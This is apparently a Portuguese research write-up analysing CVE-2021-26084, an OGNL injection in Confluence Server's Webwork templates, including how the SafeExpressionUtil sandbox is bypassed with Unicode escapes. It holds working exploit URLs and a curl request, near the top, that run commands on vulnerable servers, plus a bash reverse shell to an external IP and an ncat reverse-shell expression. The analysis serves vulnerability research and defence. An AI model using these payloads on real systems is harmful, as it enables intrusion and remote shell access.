
CVE-2021-26084 - Injeção OGNL no Webwork do Confluence Server
Este documento fornece uma visão geral do CVE-2021-26084 - injeção OGNL no Webwork do Confluence Server [1], que permitiria a um usuário autenticado executar código arbitrário em uma instância do Confluence Server ou Data Center.
O Confluence Server / Data Center utiliza o framework MVC Webwork 2 para processar requisições web e a camada de visualização consiste principalmente em templates Velocity. Uma avaliação dupla é executada quando os templates Velocity usam tags Webwork com um atributo value que contém $. Quando uma tag Webwork com um atributo Value que possui um $ é encontrada, uma avaliação inicial ocorre durante o parsing do template Velocity; esse valor avaliado é então passado para a tag Webwork, que avalia ainda mais o valor como uma expressão OGNL. Se a classe de ação expõe uma função setter para o parâmetro usado no atributo value, então esse parâmetro pode ser definido pela URL usando parâmetros de URL. Assim, ao criar uma URL com um payload OGNL, um atacante pode executar código remotamente nas versões afetadas do Confluence Server / Data Center.
# UnAuthenticated RCE - based on the awesome write-up at httpvoid; courtesy of Harsh Jaiswal(rootxharsh), Rahul Maini (iamnoooob) [8]
curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8090' -H $'Accept-Encoding: gzip, deflate' -H $'Accept: */*' -H $'Accept-Language: en' -H $'User-Agent: Mozilla/5.0' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 186' --data-binary $'linkCreation=a%5Cu0027%2B%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D.findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu0027xcalc%5Cu0027%29%5Cu0022%29%2B%5Cu0027' $'http://localhost:8090/pages/doenterpagevariables.action'
# UnAuthenticated RCE for Confluence < 7.12.14, Only if allow people to sign up to create their account' is enabled. COG > User Management > User Signup Options.
http://localhost:8090/signup.action?token=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu00
5C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# Authenticated RCE for Confluence < 7.12.14, a valid user account is required on the Confluence Server
http://localhost:8090/users/darkfeatures.action?featureKey=%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%40java.lang.Runtime%40getRuntime%28
%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# Authenticated RCE for for Confluence 7.12.14, the newSpaceKey parm is to be updated with the Space key of a space the user has Add Pages Permission
http://localhos:8090/pages/docreatepagefromtemplate.action?newSpaceKey=SAN&sourceTemplateId=uu%5Cu0027%2B%28%23attr%5B%5Cu0022webwork.valueStack%5Cu0022%5D%29.%28findValue%28%5Cu0022%
40java.lang.Runtime%40getRuntime%28%29.exec%28%5Cu005C%5Cu0022xcalc%5Cu005C%5Cu0022%29%5Cu0022%29%29%2B%5Cu0027
# The payload below spawns a reverse shell to a remote host running a netcat listener.BurpSuite addon Hackvertor tags has been used for readability and has to be converted accordingly
http://localhos:8090/pages/docreatepagefromtemplate.action?sourceTemplateId=oa<@urlencode_not_plus>\u0027+(#attr[\u0022webwork.valueStack\u0022]).(findValue(\u0022(#cmd=new
java.lang.String[]{\u0027/bin/bash\u0027,\u0027-c\u0027,\u0027<@unicode_escapes>exec 5<>/dev/tcp/35.224.37.217/8021;cat <&5 | while read line; do $line 2>&5 >&5;
done<@/unicode_escapes>\u0027}).(@java.lang.Runtime@getRuntime().exec(#cmd))\u0022))+\u0027<@/urlencode_not_plus>
As vulnerabilidades de injeção de Expression Language surgem quando uma aplicação incorpora dados controláveis pelo usuário em uma string que é avaliada dinamicamente por um interpretador de código. Se os dados do usuário não forem estritamente validados, um atacante pode usar entrada manipulada para modificar o código a ser executado e injetar código arbitrário que será executado pelo servidor [2]. Object-Graph Navigation Language (OGNL) [3] é uma linguagem de expressão para manipular objetos Java. Quando uma vulnerabilidade de injeção de OGNL está presente, é possível para o atacante injetar expressões OGNL que podem então ser usadas para executar código Java arbitrário. Além de obter/definir propriedades, o OGNL suporta muitos outros recursos, dos quais os abaixo parecem interessantes do ponto de vista do desenvolvimento de exploits:
Chamada de método estático: @java.lang.Runtime@getRuntime()
Chamada de construtor: new java.lang.String[]{'/bin/bash','-c', 'xcalc'}
Capacidade de trabalhar com variáveis de contexto: #attr["webwork.valueStack"]
Chamada de método: #attr["webwork.valueStack"].findValue()
Combinando os itens acima, uma expressão OGNL válida pode ser formada. Uma expressão OGNL típica é mostrada abaixo:
@java.lang.Runtime@getRuntime().exec('ncat 203.0.113.5 8021 -e /bin/bash')
O WebWork 2 é um framework MVC baseado em pull construído sobre uma API de framework de padrão de comando chamada XWork e é o predecessor do popular Apache Struts2. O Confluence usa o WebWork 2 da OpenSymphony para processar requisições web enviadas pelos usuários. O Webwork suporta uma poderosa Expression Language baseada em OGNL para navegar em sua pilha de objetos (também conhecida como ValueStack). Ele também suporta múltiplas tecnologias de visualização, incluindo JSP, FreeMarker e Velocity, e também fornece uma rica biblioteca de tags. "WebWork: Strutting the OpenSymphony way", de Mike Cannon-Brookes [4], fornece uma excelente visão geral do framework Webwork 2. Entre outras coisas, o que é de particular interesse para esta vulnerabilidade é o suporte do Webwork para:
A detecção da vulnerabilidade envolveu principalmente uma abordagem de teste de caixa branca, onde a instrumentação do código-fonte foi usada para analisar a avaliação do OGNL. Seguindo a excelente pesquisa do pesquisador do GHSL, Man Yue Mo, sobre injeção de OGNL no Apache Struts [5] [6] [7], foi notado que o método evaluateParams da classe UIBean servia como um candidato interessante. A base de código da biblioteca webwork no Confluence Data Center (atlassian-confluence-x.y.z/confluence/WEB-INF/lib/webwork-2.1.5-atlassian-3.jar) foi extraída usando o JD GUI e foi analisada em busca de métodos semelhantes ao evaluateParams. A correspondência mais próxima foi o método protected void evaluateParams(OgnlValueStack stack) em com.opensymphony.webwork.views.jsp.ui.AbstractUITag. A análise do código-fonte revelou ainda que existe uma classe com.opensymphony.webwork.util.SafeExpressionUtil que bloqueava a maioria dos payloads OGNL.
Como o autor dificilmente tinha experiência para executar o Confluence Server através de um depurador, instruções de impressão primitivas foram usadas para despejar os resultados da avaliação do OGNL nas classes acima. As etapas envolvidas na instrumentação do código-fonte foram:
String DL = "\n" + (new Exception().getStackTrace()[0]).getClassName() + "::" + (new Exception().getStackTrace()[0]).getMethodName() + ":";
Object o = findValue(this.valueAttr, valueClazz);
addParameter("nameValue", o);
System.out.println("\033[1;33m" + DL + (new Exception().getStackTrace()[0]).getLineNumber() + "\t findValue( " + this.valueAttr + " ) = " + o + "\033[0m");
# use javap on the classes inside webwork jar to identify the source and target versions
javac -target 1.6 -source 1.6 -classpath "/opt/atlassian-confluence-7.12.4/lib/*:/opt/atlassian-confluence-7.12.4/confluence/WEB-INF/lib/*" -d . *.java
jar vuf webwork-2.1.5-atlassian-3.jar com
Com a biblioteca webwork instrumentada em vigor, foi observado que o atributo value das tags webwork é um ponto potencial de injeção, pois a renderização terminava no método evaluateParams e o atributo value era avaliado como OGNL. Também foi observado que, se o template velocity tivesse uma tag webwork cujo atributo value fosse definido usando o construto $, então esse valor era avaliado durante a renderização do template velocity e esse valor avaliado era passado para a tag Webwork. Um exemplo típico de tal tag é:
#tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")
#tag( "Hidden" "name='token'" "value='$!action.token'" )
#tag( "Component" "label='Enable dark feature:'" "name='featureKey'" "value='$!action.featureKey'" "theme='aui'" "template='text.vm'")
Embora o atributo value processasse a entrada como OGNL, havia aspas simples ao redor do construto $, fazendo com que a entrada fosse tratada como string. Para contornar essa restrição, foi usada uma sequência de escape Unicode, pois passar as aspas simples diretamente resultava na conversão delas em entidades HTML antes de atingir o ponto de execução do OGNL. A sequência de escape Unicode é analisada dentro do OgnlUtil.compile e um ognl.ASTAdd é formado, fazendo com que o payload OGNL injetado seja avaliado.
parsedExpression = OgnlUtil.compile( '\u0027+(7*7)+\u0027' ) = "" + (7 * 7) + ""
com.opensymphony.webwork.views.jsp.ui.AbstractUITag::evaluateParams --> findValue( '\u0027+(7*7)+\u0027' ) = 49

A base de código do Confluence foi pesquisada por arquivos velocity que correspondiam a um padrão de regex que tivesse uma tag webwork e $ em seu atributo. Uma vez identificado o arquivo velocity, a classe de ação correspondente que usava o template velocity foi identificada navegando pelo arquivo de configuração do xwork, ou seja, xwork.xml (dentro do confluence-x.y.z.jar). O processo se parece aproximadamente com:
O content-editor.vm (atlassian-confluence-7.12.4/confluence/template/custom) tinha a tag Webwork abaixo
#if ($templateApplied)
#tag ("Hidden" "id=sourceTemplateId" "name='sourceTemplateId'" "value='${templateId}'")
#end
O atributo value, templateId, pode ser definido passando um parâmetro de URL sourceTemplateId para o endpoint docreatepagefromtemplate.action. Quando um parâmetro de URL com o nome sourceTemplateId é chamado, a função setter da classe de ação (com.atlassian.confluence.pages.actions.CreatePageFromTemplateAction), ou seja, setSourceTemplateId, é invocada pelo framework, e isso define o valor da variável membro sourceTemplateId.
Quando o template velocity é analisado, o ${templateId} é inicialmente avaliado chamando a função getTemplateId da classe de ação, que retorna o valor da variável membro sourceTemplateId.

Esse valor avaliado é então passado para o atributo value da tag Webwork, que então avalia o atributo value como uma expressão OGNL. Finalmente, usando a sequência de escape Unicode e fazendo uso da variável #attr["webwork.valueStack"], é possível contornar a sandbox SafeExpressionUtil usada pelas tags WebWork e executar código Java arbitrário.
